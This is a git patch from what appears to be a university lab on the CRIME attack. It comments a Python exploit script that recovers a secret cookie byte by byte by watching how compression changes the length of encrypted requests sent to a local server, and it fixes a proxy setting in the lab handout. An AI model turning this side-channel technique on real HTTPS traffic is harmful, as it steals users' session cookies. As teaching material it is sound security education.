From e1ef844b34c32268bcb7aaeda356b554062c37da Mon Sep 17 00:00:00 2001 From: clfreville2 Date: Sun, 26 Nov 2023 22:09:04 +0100 Subject: [PATCH] Comment exploit script --- exploit.py | 9 ++++++++- sujet_tp.typ | 2 +- 2 files changed, 9 insertions(+), 2 deletions(-) diff --git a/exploit.py b/exploit.py index 78a3091..85ebb06 100644 --- a/exploit.py +++ b/exploit.py @@ -1,29 +1,36 @@ from string import ascii_lowercase, ascii_uppercase, digits from subprocess import check_output +# Modélise les caractères potentiellement présents dans le cookie, la longueur du cookie est inconnue alphabet = ascii_lowercase + ascii_uppercase + digits + +# Réinjecte notre propre version d'OpenSSL env = { "LD_PRELOAD": "..." } def request(url: str) -> int: - """Executes the client binary with the following URL, and checks its output.""" + """Executes the client binary with the following URL, and get the request length.""" out = check_output(["./client", "127.0.0.1", "8080", url], env=env).decode('utf-8') return int(out.split(' ')[1]) if __name__ == '__main__': + # Commence avec un cookie vide comme longueur de référence cookie = '' best_len = request('flag=' + cookie) + # Tant qu'un caractère ajouté ne fait pas varier la longueur des données chiffrées while True: for c in alphabet: current = request('flag=' + cookie + c) if current <= best_len: + # Le caractère a été compressé, on l'ajoute au cookie cookie += c best_len = current print(f'Found one byte in cookie: {cookie}') break else: + # Aucune variation de longueur, le cookie est complet print(f'Found complete cookie: {cookie}') break diff --git a/sujet_tp.typ b/sujet_tp.typ index 30a2bc8..1bafec0 100644 --- a/sujet_tp.typ +++ b/sujet_tp.typ @@ -23,7 +23,7 @@ Paquets nécessaires sous Debian : `build-essentials zlib1g-dev libssl-dev opens Cloner le dépôt Git à l'IUT ou sur votre machine. -Pour rappel, à l'IUT, le proxy se désactive avec unset `http_proxy`. +Pour rappel, à l'IUT, le proxy se désactive avec unset `https_proxy`. ```bash git clone https://codefirst.iut.uca.fr/git/clement.freville2/http-crime